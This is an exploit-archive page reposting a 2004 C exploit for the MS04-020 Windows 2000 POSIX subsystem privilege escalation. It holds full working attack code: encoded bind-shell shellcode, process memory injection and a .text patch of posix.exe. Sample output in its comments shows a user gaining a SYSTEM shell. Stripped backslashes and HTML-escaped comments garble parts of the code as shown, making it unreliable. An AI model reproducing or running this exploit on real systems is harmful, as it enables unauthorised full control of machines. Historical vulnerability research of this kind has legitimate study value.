[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS Windows 2K POSIX Subsystem Privilege Escalation Exploit (MS04-020)
# Published : 2004-07-17
# Author : bkbll
# Previous Title : Mac OS X Panther Internet Connect Local Root Exploit
# Next Title : MS Windows 2K/XP Task Scheduler .job Exploit (MS04-022)


/* Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit (MS04-020)
*
* Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED
*
* Posixexp.c By bkbll (bkbll cnhonker net,bkbll tom com) www cnhonker com
*
* 2004/07/16 
*
* thanks to eyas xfocus org
*
*
C:>whoami
VITUALWIN2Ktest

C:>posixexp
Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(1
By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com

pax: illegal option--h
Usage: pax -[cimopuvy] [-f archive] [-s replstr] [-t device] [pattern.
pax -r [-cimopuvy] [-f archive] [-s replstr] [-t device] [patte
pax -w [-adimuvy] [-b blocking] [-f archive] [-s replstr]
[-t device] [-x format] [pathname...]
pax -r -w [-ilmopuvy] [-s replstr] [pathname...] directory

For more information on pax syntax, see Command Reference
Help in the Windows Help file.Remote addr:0x7ff90000
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:WINNTsystem32>whoami
whoami
NT AUTHORITYSYSTEM

C:WINNTsystem32>exit
[+] Connection closed in exit command.

C:>

*/

#include <stdlib.h>
#include <Winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

#define PATCHADDR 0x0100343D        //&#38656;&#35201;&#21160;&#24577;&#20462;&#25913;posix.exe&#30340;&#20301;&#32622;
#define MEMSIZE 0x350
#define CODESIZE 50
#define bind_port_offset 116
#define RETADDR 0x796E9B53 //advapi32.dll jmp esp
// [ebp-0x200] [saved ebp] [saved eip] 
#define EIPLOCATION 0x200+4-12    //12&#26159;"DosDevices"&#30340;&#38271;&#24230;
#define CANWRITEADDR 0x7ffdf02c     //&#35813;&#22320;&#22336;+0x20&#35201;&#21487;&#20889;
#define VERSION "1.0"

unsigned short bindport = 60000;

unsigned char jmpcode[]=
"x33xC0"        //xor eax,eax
"x66xB8xc0x01"    //mov ax,0x1ff
"x40"            //inc eax
"x2BxE0"        //sub esp,eax
"xFFxE4"        //jmp esp
"x00";            // zero NULL 
   
unsigned char bind_shell[]=
"xebx10x5bx4bx33xc9x66xb9x45x01x80x34x0bxeexe2xfa"
"xebx05xe8xebxffxffxff"
/* 302 bytes shellcode, xor with 0xee */
"x07x12xeexeexeexb1x8ax4fxdexeexeexeex65xaexe2x65"
"x9exf2x43x65x86xe6x65x19x84xeaxb7x06x72xeexeexee"
"x0cx17x86xddxdcxeexeex86x99x9dxdcxb1xbax11xf8x7b"
"x84xe8xb7x06x6axeexeexeex0cx17x65x2axddx27xddx3c"
"x5fxeax19x1fxc5x0cx6fx02x7exefxeexeex65x22xbfx86"
"xecxecxeexeex11xb8xcaxddx27xbfx86xecxeexeexdbx65"
"x02xbfxbfxbfxbfx84xefx84xecx11xb8xfex7dx84xfexbb"
"xbdx11xb8xfaxbexbdx11xb8xf6x65x12x84xe0xb7x45x0c"
"x13xbexbexbdx11xb8xf2x88x29xaaxcaxc2xefxefx45x45"
"x45x65x3ax86x8dx83x8axeex65x02xddx27xbexb9xbcxbf"
"xbfxbfx84xefxbfxbfxbbxbfx11xb8xeax84x11x11xd9x11"
"xb8xe2xbdx11xb8xcex11xb8xcex11xb8xe6xbfxb8x65x9b"
"xd2x65x9axc0x96xedx1bxb8x65x98xcexedx1bxddx27xa7"
"xafx43xedx2bxddx35xe1x50xfexd4x38x9axe6x2fx25xe3"
"xedx34xaex05x1fxd5xf1x9bx09xb0x65xb0xcaxedx33x88"
"x65xe2xa5x65xb0xf2xedx33x65xeax65xedx2bx45xb0xb7"
"x2dx06x11x10x11x11x60xa0xe0x02x9cx10x5dxf8x01x20"
"x0ex8ex43x37xebx20x37xe7x1bx43x4axf4x9ex29x4ax43"
"xc0x07x0bxa7x68xa7x09x97x28x97x25x03x12xd5"
;

int readwrite(SOCKET fd);
int client_connect(int sockfd,char* server,int port);

main()
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   LPVOID pdwCodeRemote;
   unsigned int cbMemSize = MEMSIZE;
   DWORD dwOldProtect,dwNumBytesXferred;
   unsigned char buffer[MEMSIZE];
   unsigned int buflen=0;
   unsigned char textbuf[CODESIZE];
   int i;
   unsigned short lports;
   char cmdarg[400];
   char systemdir[MAX_PATH+1];
   WSADATA    wsd;
   SOCKET sockfd;
   
   printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)n",VERSION);
   printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com;nn");
   if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
   {
       printf("[-] WSAStartup error:%dn", WSAGetLastError());
       return -1;
   }
   
   i = GetWindowsDirectory(systemdir,MAX_PATH);
   systemdir[i]='';
   _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\system32\posix.exe /P %s\system32\pax.exe /C 
pax -h",systemdir,systemdir);
   //printf("cmdarg:%sn",cmdarg);
   //exit(0);
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   //create process
   //&#20808;&#35753;psxss&#36816;&#34892;&#36215;&#26469;
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi))
   {
    printf("CreateProcess1 failed:%dn", GetLastError());
    return 0;
   }
   WaitForSingleObject(pi.hProcess, INFINITE);
   //&#20877;&#36816;&#34892;&#19968;&#27425;
   ZeroMemory(&si,sizeof(si));
   si.cb = sizeof(si);
   ZeroMemory( &pi,sizeof(pi));
   if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi))
   {
    printf("CreateProcess2 failed:%dn", GetLastError());
    return 0;
   }
   //alloc from remote process
   pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT | 
   MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE);
   if (pdwCodeRemote == NULL) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualAllocEx failed:%dn",GetLastError());
       return 0;
   }
   printf("Remote addr:0x%08xn",pdwCodeRemote);
   //we can write and execute
   if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualProtectEx failed:%dn",GetLastError());
       return 0;
   }
   //make shellcode    
   lports = htons(bindport)^0xeeee;
   memcpy(bind_shell+bind_port_offset,&lports,2);
   
   memset(buffer,'x90',MEMSIZE);
   //memset(buffer,'A',EIPLOCATION);
   buffer[MEMSIZE-1] = '';
   i=sizeof(bind_shell)-1;
   if(i >= EIPLOCATION) 
   {
       printf("shellcode so large:%d,must < %dn",i,MEMSIZE);
       TerminateProcess(pi.hProcess,0);
       return 0;
   }
   i=EIPLOCATION-i;
   memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1);
   *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //&#35206;&#30422;eip
   *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //&#35206;&#30422;&#31532;&#19968;&#20010;&#21442;&#25968;
   memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1);
   //write in to target
   buflen=MEMSIZE;
   if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("WriteProcessMemory failed:%dn",GetLastError());
       return 0;
   }
   //modified the process .text
   if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("VirtualProtectEx 0x08x failed:%dn",PATCHADDR,GetLastError());
       return 0;
   }
   //&#21019;&#24314;&#35201;&#20462;&#34917;&#30340;&#20869;&#23481;
   i = 0;
   textbuf[i++]='xbf';
   textbuf[i++]=(DWORD)pdwCodeRemote & 0xff;    //mov edi,pdwCodeRemote
   textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff;
   textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff;
   textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff;
   //&#26367;&#25442;&#36339;&#36716;&#25351;&#20196;
   textbuf[i++]='xeb';
   textbuf[i++]='x09'; //jmp .+0b
   //&#20889;&#36827;&#36827;&#31243;&#20013;
   if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred)) 
   {
       TerminateProcess(pi.hProcess,0);
       printf("WriteProcessMemory failed:%dn",GetLastError());
       return 0;
   }
   ResumeThread(pi.hThread);
   Sleep(5);
   sockfd=WSASocket(2,1,0,0,0,0);
   if(sockfd == INVALID_SOCKET)
   {
       printf("[-] WSASocket error:%dn", WSAGetLastError());
       return -1;
   }
   if(client_connect(sockfd,"127.0.0.1",bindport) < 0)
   {
       closesocket(sockfd);
       printf("[-] Maybe not success?n");
   }
   readwrite(sockfd);
   TerminateProcess(pi.hProcess,0);
   WaitForSingleObject(pi.hProcess, INFINITE);
}

int readwrite(SOCKET fd)
{
   fd_set fdr1;
   unsigned char buffer[1024];
   int istty,ct1,ct2;
   struct timeval timer;

   memset(buffer,0,sizeof(buffer));
   istty=_isatty(0);
   timer.tv_sec=0;
   timer.tv_usec=0;

   while(1)
   {

       FD_ZERO(&fdr1);
       FD_SET(fd,&fdr1);
       ct1=select(0,&fdr1,NULL,NULL,&timer);
       if(ct1==SOCKET_ERROR)
       {
           printf("[-] select error:%dn",GetLastError());
           break;
       }
       if(FD_ISSET(fd,&fdr1))
       {
           ct1=recv(fd,buffer,sizeof(buffer)-1,0);
           if((ct1==SOCKET_ERROR) || (ct1==0))
           {
               printf("[-] target maybe close the socket.n");
               break;
           }
           if(_write(1,buffer,ct1)<=0)
           {
               printf("[-] write to stdout error:%dn",GetLastError());
               break;
           }

           memset(buffer,0,sizeof(buffer));
       }
       if(istty)
       {
           if(_kbhit()) /* stdin can read */
           {


               ct1=read(0,buffer,sizeof(buffer)-1);
               if(ct1 <= 0)
               {
                   printf("[-] read from stdin error:%dn",GetLastError());
                   break;
               }
               ct2=send(fd,buffer,ct1,0);
               if((ct2==SOCKET_ERROR) || (ct2==0))
               {
                   printf("[-] target maybe close the socket.n");
                   break;
               }
               if( strnicmp(buffer, "exit", 4) == 0)
               {
                   printf("[+] Connection closed in exit command.n");
                   break;
               }
               memset(buffer,0,sizeof(buffer));
           }
       }
       else
       {
           ct1=read(0,buffer,sizeof(buffer)-1);
           if(ct1<=0)
           {
               printf("[-] read from nontty stdin error:%dn",GetLastError());
               break;
           }
           ct2=send(fd,buffer,ct1,0);
           if((ct2==SOCKET_ERROR) || (ct2==0))
           {
               printf("[-] target maybe close the socketn");
               break;
           }
           if( strnicmp(buffer, "exit", 4) == 0)
           {
               printf("[+] Connection closed in exit command.n");
               break;
           }
           memset(buffer,0,sizeof(buffer));
       }
   }
   return(1);
}


/* &#36830;&#25509;&#25351;&#23450;server &#21644;port */
int client_connect(int sockfd,char* server,int port)
{
   struct sockaddr_in cliaddr;
   struct hostent *host;
   short port2;

   port2=port & 0xffff;

   if((host=gethostbyname(server))==NULL)
   {
       printf("gethostbyname(%s) errorn",server);
       return(-1);
   }

   memset(&cliaddr,0,sizeof(struct sockaddr));
   cliaddr.sin_family=AF_INET;
   cliaddr.sin_port=htons(port2);
   cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
   if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
   {
       printf("[-] Trying %s:%d errorn",server,port);
       closesocket(sockfd);
       return(-1);
   }
   //printf("okrn");
   return(0);
}

// www.Syue.com [2004-07-17]